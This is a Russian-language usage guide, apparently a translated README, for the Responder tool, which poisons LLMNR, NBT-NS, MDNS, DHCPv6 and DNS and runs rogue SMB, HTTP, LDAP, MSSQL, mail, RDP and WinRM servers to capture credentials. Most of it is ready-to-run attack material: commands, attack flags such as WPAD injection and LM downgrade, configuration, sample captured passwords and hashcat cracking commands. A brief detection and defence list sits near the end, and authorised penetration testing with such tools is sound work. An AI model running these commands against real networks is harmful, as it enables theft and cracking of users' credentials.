Инструмент для атак на протоколы LLMNR, NBT-NS и MDNS во внутренних сетях. Поднимает поддельные сервисы (SMB, HTTP, LDAP, FTP, MSSQL и др.) и перехватывает NTLMv1/v2 хеши при обращении к несуществующим ресурсам. ⚠ Серая зона: крайне эффективен при пентесте корпоративных Windows-сетей, но его запуск в чужой сети является преступлением. Только авторизованный пентест. python Responder.py -I eth0 -rdwv
# Kali Linux (предустановлен) responder -h # Из исходников git clone https://github.com/lgandx/Responder cd Responder python Responder.py -I eth0 -rdwv # Зависимости pip install netifaces
Responder — это средство отравления LLMNR, NBT-NS и MDNS со встроенными поддельными серверами аутентификации для HTTP, SMB, MSSQL, FTP, LDAP, Kerberos, DNS и других протоколов. Он поддерживает NTLMv1/NTLMv2/LMv2, расширенную безопасность NTLMSSP и различные методы аутентификации более чем в 15 протоколах.
Responder захватывает учётные данные, отвечая на запросы разрешения имён LLMNR, NBT-NS и MDNS. Когда клиент пытается разрешить несуществующее имя хоста, Responder отвечает и направляет клиента на машину атакующего, где несколько поддельных серверов аутентификации захватывают учётные данные. Серверы поддельного DHCP и DHCPv6 также включены и могут быть активированы по отдельности.
Захваченные данные: - Хеши NetNTLMv1/v2 — поддаются взлому с помощью hashcat/john - Хеши Kerberos AS-REQ — офлайн-взлом (hashcat -m 7500) - Учётные данные в открытом виде — HTTP Basic, FTP, SMTP, IMAP, LDAP, SQL и др. - Чallenge-response — CRAM-MD5, DIGEST-MD5
Эта версия включает:
sudo apt-get update
sudo apt-get install python3 python3-pip python3-netifaces
git clone https://github.com/lgandx/Responder.git
cd Responder
pip3 install -r requirements.txt
sudo python3 Responder.py --help
# Standard LLMNR/NBT-NS poisoning
sudo python3 Responder.py -I eth0 -v
# Analyze mode (passive monitoring)
sudo python3 Responder.py -I eth0 -A -v
# Edit Responder.conf first:
# [DHCPv6 Server]
# DHCPv6_Domain = corp.local
sudo python3 Responder.py -I eth0 --dhcpv6 -v
sudo python3 Responder.py -I eth0 -b -v
# Enable Proxy-auth server with rogue DHCP server injecting WPAD server (highly effective)
sudo python3 Responder.py -I eth0 -Pvd
Цель: Отвечать на сбои разрешения имён
Как это работает: 1. Клиент рассылает запрос для несуществующего хоста 2. Responder отвечает: «Я этот хост» 3. Клиент подключается к атакующему 4. Учётные данные захвачены
Конфигурация:
[Responder Core]
LLMNR = On
NBTNS = On
MDNS = On
Использование:
sudo python3 Responder.py -I eth0 -v
Цель: Заставить клиентов использовать DNS атакующего через IPv6
Возможности: - ✅ Поддержка INFORMATION-REQUEST (Windows 10/11) - ✅ Поддержка SOLICIT/REQUEST - ✅ Фильтрация по доменам (точное нацеливание) - ✅ Router Advertisement (опционально)
Как это работает: 1. Windows отправляет DHCPv6 INFORMATION-REQUEST, SOLICIT, REQUEST 2. Responder отвечает: DNS = IPv6 атакующего 3. Windows приоритизирует IPv6 DNS 4. Все DNS-запросы → атакующий 5. Отравление DNS → захват учётных данных
Конфигурация:
[DHCPv6 Server]
; Only respond to specific domain
DHCPv6_Domain = corp.local
; Send Router Advertisements
SendRA = Off
; IPv6 address to advertise
BindToIPv6 = fe80::1
Использование:
sudo python3 Responder.py -I eth0 --dhcpv6 -v
Ожидаемый вывод:
[DHCPv6] INFORMATION-REQUEST from fe80::a1b2:c3d4
[DHCPv6] Client domain: workstation.corp.local
[DHCPv6] Matched target domain: corp.local
[DHCPv6] Responding with DNS: fe80::1
[DNS] Query: mail.corp.local (A)
[DNS] Poisoned: mail.corp.local -> 192.168.1.100
[SMTP] Captured: user@corp.local:Password123
Responder включает более 17 поддельных серверов аутентификации:
Цель: Захват хешей NetNTLM с файловых шар
Возможности: - ✅ SMBv1/SMBv2/SMBv3 - ✅ Захват хешей NetNTLMv1/v2 - ✅ Расширенная безопасность NTLMSSP - ✅ Отключено подписание сессий (позволяет relay)
Триггеры:
# UNC paths
\\attacker-ip\share
\\non-existent-server\files
# NET USE commands
net use \\attacker-ip\share
# Windows Explorer address bar
\\attacker-ip\
Формат захвата:
username::domain:challenge:response:blob
Взлом:
hashcat -m 5600 smb-ntlmv2.txt wordlist.txt
Конфигурация:
[Responder Core]
SMB = On
Цель: Захват учётных данных FTP в открытом виде
Возможности: - ✅ Ловушка для анонимного входа - ✅ Аутентификация USER/PASS - ✅ Захват учётных данных в открытом виде
Триггеры:
ftp attacker-ip
# Username: anything
# Password: anything
Формат захвата:
[FTP] Cleartext: username:password
Конфигурация:
[Responder Core]
FTP = On
Цель: Захват аутентификации Microsoft SQL Server
Возможности: - ✅ Аутентификация SQL Server - ✅ Аутентификация Windows (NTLM) - ✅ Учётные данные SQL в открытом виде - ✅ Захват хешей NetNTLMv2
Триггеры:
-- SQL Server Management Studio
Server: attacker-ip
Authentication: SQL Server / Windows
-- Command line
sqlcmd -S attacker-ip -U sa -P password
-- Connection strings
Server=attacker-ip;Database=master;User Id=sa;Password=pass;
Форматы захвата:
[MSSQL] SQL Auth: sa:password123
[MSSQL] NetNTLMv2: DOMAIN\user::domain:challenge:response:blob
Конфигурация:
[Responder Core]
SQL = On
Примечания: - Захватывает как аутентификацию SQL, так и аутентификацию Windows - Работает с SSMS, sqlcmd, соединениями ADO.NET - Может захватить доменные учётные данные через аутентификацию Windows
Цель: Захват аутентификации почтовых клиентов
Возможности: - ✅ Поддержка STARTTLS (современные клиенты) - ✅ AUTH PLAIN (открытый текст) - ✅ AUTH LOGIN (открытый текст) - ✅ AUTH CRAM-MD5 - ✅ AUTH DIGEST-MD5 - ✅ AUTH NTLM (NetNTLMv2)
Поток STARTTLS:
Client → EHLO
Server → 250-STARTTLS
Client → STARTTLS
Server → 220 Ready to start TLS
[TLS handshake using self-signed cert]
Client → AUTH PLAIN <credentials>
Server → Captured! ✅
Триггеры:
Email client configuration:
- Server: attacker-ip
- Port: 25 or 587
- Security: STARTTLS or None
- Username: anything
- Password: anything
Форматы захвата:
[SMTP] LOGIN: user@company.com:Password123
[SMTP] NetNTLMv2: user::DOMAIN:challenge:response:blob
[SMTP] CRAM-MD5: user:challenge:response
Конфигурация:
[Responder Core]
SMTP = On
Предупреждения о сертификате: Предупреждения о самоподписанном сертификате нормальны. Клиенты отклоняют первую попытку, повторяют и успешно подключаются. Учётные данные всё равно захватываются.
Цель: Захват аутентификации IMAP с STARTTLS
Возможности: - ✅ Поддержка STARTTLS - ✅ Команда LOGIN (открытый текст) - ✅ AUTHENTICATE PLAIN - ✅ AUTHENTICATE LOGIN - ✅ AUTHENTICATE NTLM
Поток STARTTLS:
Client → CAPABILITY
Server → * CAPABILITY IMAP4 AUTH=PLAIN AUTH=NTLM STARTTLS
Client → STARTTLS
Server → OK Begin TLS negotiation now
[TLS upgrade]
Client → LOGIN user password
Server → Captured! ✅
Конфигурация:
[Responder Core]
IMAP = On
Цель: IMAP поверх SSL (нативное шифрование)
Возможности: - ✅ Нативный SSL с начала соединения - ✅ Все методы аутентификации IMAP - ✅ STARTTLS не нужен (уже зашифровано)
Как отличается от IMAP:
Port 143 (IMAP): Plain → STARTTLS → Encrypted
Port 993 (IMAPS): Encrypted from start
Конфигурация:
[Responder Core]
IMAPS = On
Цель: Захват учётных данных POP3 для получения почты
Возможности: - ✅ Аутентификация USER/PASS - ✅ APOP (challenge MD5) - ✅ Захват учётных данных в открытом виде
Триггеры:
Email client:
- Protocol: POP3
- Server: attacker-ip
- Port: 110
Формат захвата:
[POP3] USER: username
[POP3] PASS: password
Конфигурация:
[Responder Core]
POP = On
Цель: Захват веб-аутентификации
Возможности: - ✅ Аутентификация NTLM (NetNTLMv1/v2) - ✅ Basic аутентификация (открытый текст) - ✅ Digest аутентификация (MD5) - ✅ Инъекция WPAD
Триггеры:
Browser: http://attacker-ip/
UNC: file://attacker-ip/share
WPAD: Automatic proxy detection
Принудительная Basic Auth:
sudo python3 Responder.py -I eth0 -b
Форматы захвата:
[HTTP] NTLM NTLMv2: user::DOMAIN:challenge:response:blob
[HTTP] Basic: user:password
[HTTP] Digest: user:realm:hash
Конфигурация:
[Responder Core]
HTTP = On
Цель: HTTPS с захватом аутентификации
Возможности: - ✅ Шифрование SSL/TLS - ✅ Все методы HTTP-аутентификации - ✅ Самоподписанный сертификат - ✅ WPAD поверх HTTPS
Конфигурация:
[Responder Core]
HTTPS = On
SSLCert = certs/responder.crt
SSLKey = certs/responder.key
Цель: Захват хешей AS-REP для офлайн-взлома
Возможности: - ✅ AES256-CTS-HMAC-SHA1-96 (etype 18) - ✅ AES128-CTS-HMAC-SHA1-96 (etype 17) - ✅ ARCFOUR-HMAC-MD5 (etype 23)
Как это работает: 1. Клиент отправляет AS-REQ (запрос TGT) 2. Responder: «Требуется предварительная аутентификация» 3. Клиент отправляет AS-REQ с зашифрованной временной меткой 4. Responder захватывает зашифрованную временную метку 5. Офлайн-взлом с помощью hashcat
Взлом:
hashcat -m 7500 kerberos-asreq.txt wordlist.txt
Конфигурация:
[Responder Core]
Kerberos = On
Цель: Захват аутентификации каталога LDAP
Возможности: - ✅ Простая аутентификация (открытый текст) - ✅ Аутентификация NTLM - ✅ Запросы Active Directory
Триггеры:
# LDAP query
ldapsearch -H ldap://attacker-ip -D "CN=user,DC=corp,DC=local" -w password
# Active Directory tools
dsquery user -d attacker-ip
Форматы захвата:
[LDAP] Simple: CN=user,DC=corp,DC=local:password
[LDAP] NetNTLMv2: user::DOMAIN:challenge:response:blob
Конфигурация:
[Responder Core]
LDAP = On
Цель: LDAP поверх SSL
Возможности: - ✅ Шифрование SSL/TLS - ✅ Все методы аутентификации LDAP
Конфигурация:
[Responder Core]
LDAP = On
Цель: Захват аутентификации удалённого рабочего стола
Возможности: - ✅ Аутентификация на уровне сети (NLA) - ✅ Захват хешей NetNTLMv2 - ✅ Аутентификация CredSSP
Триггеры:
Remote Desktop Client:
- Computer: attacker-ip
- Username: anything
- Password: anything
Формат захвата:
[RDP] NetNTLMv2: user::DOMAIN:challenge:response:blob
Конфигурация:
[Responder Core]
RDP = On
Примечание: Захватывает аутентификацию NLA до настольной сессии.
Цель: Захват учётных данных удалённого управления Windows
Возможности: - ✅ HTTP (5985) и HTTPS (5986) - ✅ Basic аутентификация - ✅ Аутентификация NTLM - ✅ Аутентификация Kerberos
Триггеры:
# PowerShell remoting
Enter-PSSession -ComputerName attacker-ip
Invoke-Command -ComputerName attacker-ip -ScriptBlock { whoami }
# WinRM command line
winrm invoke -remote:http://attacker-ip
Форматы захвата:
[WinRM] Basic: DOMAIN\user:password
[WinRM] NetNTLMv2: user::DOMAIN:challenge:response:blob
Конфигурация:
[Responder Core]
WINRM = On
Назначение: Подмена DNS с фильтрацией доменов
Возможности: - ✅ Отравление записей A/AAAA - ✅ Отравление записей MX (перехват электронной почты) - ✅ Записи SOA (видимость авторитетного сервера) - ✅ SRV-записи (Kerberos, LDAP) - ✅ SVCB/HTTPS-записи (современные браузеры) - ✅ Поддержка EDNS0 - ✅ Фильтрация доменов
Конфигурация:
[DHCPv6 Server]
; DNS uses same domain filter as DHCPv6
DHCPv6_Domain = corp.local
Принцип работы:
Query: mail.corp.local
Response: 192.168.1.100 (attacker)
Client connects to attacker's SMTP
Credentials captured!
Поддерживаемые типы записей: - A (IPv4) - Перенаправление на атакующего - AAAA (IPv6) - Перенаправление на атакующего - MX (Почта) - Отравление почтовых серверов - SRV (Службы) - Kerberos, LDAP и т.д. - SOA (Авторитет) - Выглядеть как авторитетный сервер - TXT (Текст) - Записи SPF - SVCB/HTTPS (Привязка сервиса) - Современные браузеры
Пример фильтрации доменов:
DHCPv6_Domain = corp.local
mail.corp.local → POISONED ✅
dc01.corp.local → POISONED ✅
google.com → IGNORED (normal DNS)
Конфигурация:
[Responder Core]
DNS = On
Назначение: Перехват аутентификации Windows RPC
Возможности: - ✅ Аутентификация NTLM - ✅ Перечисление служб Windows - ✅ Захват NetNTLMv2
Триггеры:
Windows services querying RPC endpoint mapper
WMI queries
Remote registry access
Формат захвата:
[DCERPC] NetNTLMv2: user::DOMAIN:challenge:response:blob
Конфигурация:
[Responder Core]
DCERPC = On
Отредактируйте Responder.conf:
[Responder Core]
; === Network Services ===
SQL = On # MSSQL (port 1433)
SMB = On # SMB (ports 445, 139)
RDP = On # Remote Desktop (port 3389)
Kerberos = On # Kerberos (port 88)
FTP = On # FTP (port 21)
POP = On # POP3 (port 110)
SMTP = On # SMTP with STARTTLS (port 25/587)
IMAP = On # IMAP with STARTTLS (port 143)
IMAPS = On # IMAPS with SSL (port 993)
HTTP = On # HTTP (port 80)
HTTPS = On # HTTPS (port 443)
DNS = On # DNS (port 53)
LDAP = On # LDAP/LDAPS (ports 389/636)
DCERPC = On # Windows RPC (port 135)
WINRM = On # Windows Remote Management (ports 5985/5986)
; === Poisoners ===
LLMNR = On # Link-Local Multicast Name Resolution
NBTNS = On # NetBIOS Name Service
MDNS = On # Multicast DNS
DHCP = Off # DHCP (IPv4) - use with caution
DHCPv6 = On # DHCPv6 (IPv6) - use with more caution
; === Settings ===
SessionLog = On
LogToFile = On
Verbose = Yes
Database = Responder.db
; === SSL Certificates ===
SSLCert = certs/responder.crt
SSLKey = certs/responder.key
[HTTP Server]
HtmlFilename = files/AccessDenied.html
[DHCPv6 Server]
; Target specific domain
DHCPv6_Domain = corp.local
; Send Router Advertisements (use with caution)
SendRA = Off
; IPv6 address to advertise
BindToIPv6 = fe80::1
sudo python3 Responder.py [options]
| Опция | Описание |
|---|---|
-I eth0, --interface=eth0 |
Используемый сетевой интерфейс (используйте 'ALL' для всех интерфейсов) |
| Опция | Описание |
|---|---|
-A, --analyze |
Режим анализа - Просмотр запросов NBT-NS, MDNS, LLMNR без ответа |
-w, --wpad |
Запуск подмены прокси-сервера WPAD (по умолчанию: Выкл) |
-F, --ForceWpadAuth |
Принудительная аутентификация NTLM/Basic при запросе wpad.dat (старые сети) |
-P, --ProxyAuth |
Принудительная аутентификация NTLM/Basic для прокси (очень эффективно) |
| Опция | Описание |
|---|---|
-d, --DHCP |
Включить широковещательные ответы DHCP с инъекцией WPAD (IPv4) |
-D, --DHCP-DNS |
Внедрить DNS-сервер в ответ DHCP вместо WPAD |
--dhcpv6 |
Включить отравление DHCPv6 (отвечает на SOLICIT-сообщения) |
| Опция | Описание |
|---|---|
-e 10.0.0.22, --externalip=10.0.0.22 |
Отравлять запросы другим IPv4-адресом |
-6 ADDR, --externalip6=ADDR |
Отравлять запросы другим IPv6-адресом |
-i 10.0.0.21, --ip=10.0.0.21 |
Локальный IP для использования (только macOS) |
| Опция | Описание |
|---|---|
-b, --basic |
Возвращать HTTP Basic-аутентификацию (по умолчанию: NTLM) |
--lm |
Принудительное снижение уровня хеширования LM (Windows XP/2003) |
--disable-ess |
Принудительное снижение уровня NTLMSSP с расширенной безопасностью |
| Опция | Описание |
|---|---|
-u HOST:PORT, --upstream-proxy=HOST:PORT |
Вышестоящий HTTP-прокси для подмены WPAD |
-t 1e, --ttl=1e |
Изменить Windows TTL для отравленных ответов (шестнадцат.: 30с=1e или 'random') |
-N NAME, --AnswerName=NAME |
Каноническое имя для ответов LLMNR (полезно для ретрансляции Kerberos) |
-E, --ErrorCode |
Возвращать STATUS_LOGON_FAILURE (включает захват аутентификации WebDAV) |
| Опция | Описание |
|---|---|
-v, --verbose |
Увеличить детализацию (рекомендуется) |
-Q, --quiet |
Тихий режим - Отключить вывод отравителя |
| Опция | Описание |
|---|---|
--version |
Показать версию программы и выйти |
-h, --help |
Показать справку и выйти |
Responder.db # SQLite database
logs/
├── HTTP-NTLMv2-<IP>.txt # HTTP NetNTLMv2 hashes
├── SMB-NTLMv2-<IP>.txt # SMB NetNTLMv2 hashes
├── MSSQL-NTLMv2-<IP>.txt # MSSQL NetNTLMv2 hashes
├── Kerberos-AES-<IP>.txt # Kerberos AS-REP hashes
├── SMTP-Cleartext-<IP>.txt # SMTP cleartext credentials
├── IMAP-NTLMv2-<IP>.txt # IMAP NetNTLMv2 hashes
├── FTP-Cleartext-<IP>.txt # FTP cleartext credentials
├── LDAP-Cleartext-<IP>.txt # LDAP cleartext credentials
├── RDP-NTLMv2-<IP>.txt # RDP NetNTLMv2 hashes
└── WinRM-NTLMv2-<IP>.txt # WinRM NetNTLMv2 hashes
sqlite3 Responder.db
# Show tables
.tables
# Show all captured hashes
SELECT * FROM hashes;
# Export to CSV
.mode csv
.output hashes.csv
SELECT * FROM hashes;
.quit
Индикаторы обнаружения: - Необычные ответы LLMNR/NBT-NS - Подмена DHCP/DHCPv6-сервера - Невалидные запросы предварительной аутентификации Kerberos - Самоподписанные SSL-сертификаты - Множественные ошибки аутентификации - Подозрительные DNS-ответы
Защитные меры: - Отключить MDNS/LLMNR/NBT-NS через GPO - Включить подмену DHCP на коммутаторе - Включить защиту RA для IPv6 - Включить защиту DHCPv6 - Мониторинг подмененных DHCPv6-серверов
Responder работает в macOS, но требует флага -i для указания вашего локального IP-адреса. macOS не поддерживает опцию сокета SO_BINDTODEVICE, используемую в Linux для привязки к интерфейсу.
Включенный macOS_Launcher.sh автоматически обрабатывает конфликты служб:
sudo ./macOS_Launcher.sh -I en0
Скрипт запуска будет:
-i для переопределения)# Find your IP
ipconfig getifaddr en0
# Run with explicit IP
sudo python3 Responder.py -I en0 -i 192.168.1.100
С включенным SIP (по умолчанию) macOS запрещает остановку системных служб, привязанных к портам, необходимым Responder. У вас есть три варианта:
Responder.conf (например, SMB = Off, DNS = Off).Доступ запрещен:
sudo python3 Responder.py -I eth0
Интерфейс не найден:
ip link show
sudo python3 Responder.py -I wlan0
Порт уже используется:
sudo netstat -tulpn | grep 445
sudo systemctl stop smbd nmbd
DHCPv6 не работает:
# Enable IPv6
sudo sysctl -w net.ipv6.conf.all.disable_ipv6=0
# Verify
sysctl net.ipv6.conf.all.disable_ipv6
Хеши не захвачены:
# Verify servers running
sudo python3 Responder.py -I eth0 -v
# Check firewall
sudo iptables -L
# Monitor traffic
sudo tcpdump -i eth0 port 445 or port 88 or port 389
# Very verbose output
sudo python3 Responder.py -I eth0 -vv
# Tail logs
tail -f logs/Responder-Session.log
# Network monitoring
sudo tcpdump -i eth0 -w responder-capture.pcap
Автор: Laurent Gaffié - GitHub: https://github.com/lgandx - Сайт: https://secorizon.com/ - Twitter: @secorizon
Вы можете внести свой вклад в проект, пожертвовав на следующий адрес USDT или Bitcoin:
USDT: 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A
BTC: bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49
Paypal:
https://paypal.me/PythonResponder
Поздняя разработка Responder стала возможной благодаря пожертвованиям от частных лиц и компаний.
Мы хотим поблагодарить основных спонсоров:
SecureWorks: https://www.secureworks.com/
Synacktiv: https://www.synacktiv.com/
Black Hills Information Security: http://www.blackhillsinfosec.com/
TrustedSec: https://www.trustedsec.com/
Red Siege Information Security: https://www.redsiege.com/
Open-Sec: http://www.open-sec.com/
И всем, ВСЕМ пентестерам по всему миру, которые пожертвовали в этот проект.
Спасибо.